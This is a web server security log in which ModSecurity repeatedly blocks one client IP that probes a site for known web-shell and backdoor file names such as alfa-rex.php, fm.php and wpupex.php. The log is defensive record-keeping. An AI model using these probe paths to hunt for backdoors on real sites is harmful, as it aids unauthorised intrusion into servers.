[Thu Jan 29 08:03:27.327666 2026] [:error] [pid 20486:tid 20500] [client 20.219.59.84:47640] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aXqjz3gqSZb6GBx5nnMWlAAAAQs"]
[Thu Jan 29 08:03:27.810877 2026] [:error] [pid 20486:tid 20501] [client 20.219.59.84:19525] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aXqjz3gqSZb6GBx5nnMWlQAAAQw"]
[Thu Jan 29 08:03:31.806449 2026] [:error] [pid 19069:tid 19096] [client 20.219.59.84:19526] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aXqj0_DHsRM4BJ9a4Qt5uAAAABI"]
[Thu Jan 29 08:03:32.199421 2026] [:error] [pid 19177:tid 19195] [client 20.219.59.84:46323] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aXqj1HipGz0PT8TrQv4HnAAAANA"]
[Thu Jan 29 08:03:32.687131 2026] [:error] [pid 19177:tid 19200] [client 20.219.59.84:46286] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aXqj1HipGz0PT8TrQv4HngAAANU"]
[Thu Jan 29 08:03:33.295478 2026] [:error] [pid 19069:tid 19083] [client 20.219.59.84:47677] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aXqj1fDHsRM4BJ9a4Qt5vQAAAAU"]
[Thu Jan 29 08:03:33.740266 2026] [:error] [pid 19071:tid 19154] [client 20.219.59.84:19521] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aXqj1Zfa8Ix5wWmtmJzEVwAAAJU"]
[Thu Jan 29 08:03:34.742290 2026] [:error] [pid 19069:tid 19100] [client 20.219.59.84:51585] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aXqj1vDHsRM4BJ9a4Qt5vgAAABY"]
[Thu Jan 29 08:03:35.443227 2026] [:error] [pid 19070:tid 19121] [client 20.219.59.84:19549] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "aXqj17ou83lIon_aKgY3kgAAAE8"]
[Thu Jan 29 08:03:42.379898 2026] [:error] [pid 20486:tid 20496] [client 20.219.59.84:46312] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "aXqj3ngqSZb6GBx5nnMWuQAAAQc"]
[Thu Jan 29 08:03:43.003103 2026] [:error] [pid 20576:tid 20590] [client 20.219.59.84:19407] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "aXqj3yrDZws_FlQGi9fm9gAAAcQ"]
[Thu Jan 29 08:03:43.513328 2026] [:error] [pid 20519:tid 20570] [client 20.219.59.84:47618] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "aXqj3wo4s4fyROrkyRlY8QAAAZY"]
[Thu Jan 29 08:03:43.921419 2026] [:error] [pid 20519:tid 20559] [client 20.219.59.84:46331] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web.php"] [unique_id "aXqj3wo4s4fyROrkyRlY8gAAAYs"]
[Thu Jan 29 08:03:44.229089 2026] [:error] [pid 19069:tid 19078] [client 20.219.59.84:46316] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aXqj4PDHsRM4BJ9a4Qt5ywAAAAA"]
[Thu Jan 29 08:03:44.564213 2026] [:error] [pid 19177:tid 19188] [client 20.219.59.84:19458] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aXqj4HipGz0PT8TrQv4HqAAAAMk"]
[Thu Jan 29 08:03:45.145371 2026] [:error] [pid 20519:tid 20567] [client 20.219.59.84:46277] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aXqj4Qo4s4fyROrkyRlY-QAAAZM"]
[Thu Jan 29 08:03:45.598263 2026] [:error] [pid 20519:tid 20554] [client 20.219.59.84:46334] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aXqj4Qo4s4fyROrkyRlY_QAAAYY"]
[Thu Jan 29 08:03:45.919010 2026] [:error] [pid 20579:tid 20659] [client 20.219.59.84:19548] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aXqj4TVXNopcNyjJc9WECQAAAlI"]
[Thu Jan 29 08:03:46.294104 2026] [:error] [pid 20580:tid 20691] [client 20.219.59.84:46274] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aXqj4pCZ5HHdXPmeL59qQgAAApc"]
[Thu Jan 29 08:03:46.761710 2026] [:error] [pid 20579:tid 20643] [client 20.219.59.84:46278] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aXqj4jVXNopcNyjJc9WECwAAAkI"]
[Thu Jan 29 08:03:47.424517 2026] [:error] [pid 19071:tid 19155] [client 20.219.59.84:47669] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aXqj45fa8Ix5wWmtmJzEYwAAAJY"]
[Thu Jan 29 08:03:47.956366 2026] [:error] [pid 19071:tid 19142] [client 20.219.59.84:46326] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aXqj45fa8Ix5wWmtmJzEZQAAAIk"]
[Thu Jan 29 08:03:48.287055 2026] [:error] [pid 19071:tid 19151] [client 20.219.59.84:51601] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aXqj5Jfa8Ix5wWmtmJzEZwAAAJI"]
[Thu Jan 29 08:03:48.679537 2026] [:error] [pid 20578:tid 20636] [client 20.219.59.84:19527] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aXqj5A6UX7yOMwQFiyecggAAAhc"]
[Thu Jan 29 08:03:49.043618 2026] [:error] [pid 20580:tid 20687] [client 20.219.59.84:16946] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "aXqj5ZCZ5HHdXPmeL59qRgAAApM"]
[Thu Jan 29 08:03:49.469956 2026] [:error] [pid 20578:tid 20625] [client 20.219.59.84:47625] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php"] [unique_id "aXqj5Q6UX7yOMwQFiyechAAAAgw"]
[Thu Jan 29 08:03:50.043670 2026] [:error] [pid 20579:tid 20649] [client 20.219.59.84:19499] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php"] [unique_id "aXqj5jVXNopcNyjJc9WEDgAAAkg"]
[Thu Jan 29 08:03:50.633611 2026] [:error] [pid 19071:tid 19153] [client 20.219.59.84:19542] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php"] [unique_id "aXqj5pfa8Ix5wWmtmJzEawAAAJQ"]
[Thu Jan 29 08:03:51.264833 2026] [:error] [pid 19070:tid 19114] [client 20.219.59.84:46282] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php"] [unique_id "aXqj57ou83lIon_aKgY3qAAAAEg"]
[Thu Jan 29 08:03:51.611232 2026] [:error] [pid 20579:tid 20655] [client 20.219.59.84:16930] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w-1.php"] [unique_id "aXqj5zVXNopcNyjJc9WEEAAAAk4"]
[Thu Jan 29 08:03:52.056310 2026] [:error] [pid 20578:tid 20628] [client 20.219.59.84:19556] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w-1.php"] [unique_id "aXqj6A6UX7yOMwQFiyeciQAAAg8"]
[Thu Jan 29 08:03:52.917019 2026] [:error] [pid 20580:tid 20665] [client 20.219.59.84:51637] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w-1.php"] [unique_id "aXqj6JCZ5HHdXPmeL59qSAAAAoA"]
[Thu Jan 29 08:03:53.875920 2026] [:error] [pid 20486:tid 20504] [client 20.219.59.84:47646] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w-1.php"] [unique_id "aXqj6XgqSZb6GBx5nnMWygAAAQ8"]
[Thu Jan 29 08:03:54.664612 2026] [:error] [pid 19071:tid 19138] [client 20.219.59.84:51594] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aXqj6pfa8Ix5wWmtmJzEdgAAAIU"]
[Thu Jan 29 08:03:55.080890 2026] [:error] [pid 19069:tid 19094] [client 20.219.59.84:46298] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aXqj6_DHsRM4BJ9a4Qt50gAAABA"]
[Thu Jan 29 08:03:55.472330 2026] [:error] [pid 20578:tid 20633] [client 20.219.59.84:19538] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aXqj6w6UX7yOMwQFiyecjAAAAhQ"]
[Thu Jan 29 08:03:55.832039 2026] [:error] [pid 20576:tid 20586] [client 20.219.59.84:19531] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aXqj6yrDZws_FlQGi9fnBQAAAcA"]
[Thu Jan 29 08:03:56.338258 2026] [:error] [pid 19071:tid 19143] [client 20.219.59.84:19555] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aXqj7Jfa8Ix5wWmtmJzEeAAAAIo"]
[Thu Jan 29 08:03:56.669751 2026] [:error] [pid 20519:tid 20560] [client 20.219.59.84:46285] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aXqj7Ao4s4fyROrkyRlZCwAAAYw"]
[Thu Jan 29 08:03:57.022649 2026] [:error] [pid 19071:tid 19147] [client 20.219.59.84:19572] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aXqj7Zfa8Ix5wWmtmJzEeQAAAI4"]
[Thu Jan 29 08:03:57.320398 2026] [:error] [pid 20578:tid 20616] [client 20.219.59.84:47650] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aXqj7Q6UX7yOMwQFiyeclAAAAgM"]
[Thu Jan 29 08:03:57.662407 2026] [:error] [pid 20486:tid 20493] [client 20.219.59.84:19470] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aXqj7XgqSZb6GBx5nnMW1wAAAQQ"]
[Thu Jan 29 08:03:58.004812 2026] [:error] [pid 20576:tid 20605] [client 20.219.59.84:19529] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aXqj7irDZws_FlQGi9fnCQAAAdM"]
[Thu Jan 29 08:03:58.306136 2026] [:error] [pid 20486:tid 20507] [client 20.219.59.84:46292] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aXqj7ngqSZb6GBx5nnMW2gAAARI"]
[Thu Jan 29 08:03:58.601314 2026] [:error] [pid 19071:tid 19141] [client 20.219.59.84:46317] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aXqj7pfa8Ix5wWmtmJzEegAAAIg"]
[Thu Jan 29 08:03:59.511219 2026] [:error] [pid 19071:tid 19140] [client 20.219.59.84:19578] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aXqj75fa8Ix5wWmtmJzEfAAAAIc"]
[Thu Jan 29 08:03:59.920401 2026] [:error] [pid 19069:tid 19082] [client 20.219.59.84:46313] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aXqj7_DHsRM4BJ9a4Qt51wAAAAQ"]
[Thu Jan 29 08:04:00.324845 2026] [:error] [pid 20578:tid 20621] [client 20.219.59.84:19576] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aXqj8A6UX7yOMwQFiyecnAAAAgg"]
[Thu Jan 29 08:04:00.820057 2026] [:error] [pid 20486:tid 20491] [client 20.219.59.84:46308] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aXqj8HgqSZb6GBx5nnMW4wAAAQI"]
[Thu Jan 29 08:04:01.831101 2026] [:error] [pid 19071:tid 19153] [client 20.219.59.84:19560] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-widgets.php"] [unique_id "aXqj8Zfa8Ix5wWmtmJzEfgAAAJQ"]
[Thu Jan 29 08:04:02.809098 2026] [:error] [pid 19071:tid 19143] [client 20.219.59.84:19523] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-widgets.php"] [unique_id "aXqj8pfa8Ix5wWmtmJzEfwAAAIo"]
[Thu Jan 29 08:04:03.383037 2026] [:error] [pid 20486:tid 20513] [client 20.219.59.84:19579] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-widgets.php"] [unique_id "aXqj83gqSZb6GBx5nnMW6QAAARg"]
[Thu Jan 29 08:04:03.969377 2026] [:error] [pid 20519:tid 20567] [client 20.219.59.84:16925] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-widgets.php"] [unique_id "aXqj8wo4s4fyROrkyRlZEwAAAZM"]
[Thu Jan 29 08:04:04.822125 2026] [:error] [pid 19069:tid 19094] [client 20.219.59.84:19530] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpupex.php"] [unique_id "aXqj9PDHsRM4BJ9a4Qt54QAAABA"]
[Thu Jan 29 08:04:05.278890 2026] [:error] [pid 19071:tid 19156] [client 20.219.59.84:19577] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpupex.php"] [unique_id "aXqj9Zfa8Ix5wWmtmJzEggAAAJc"]
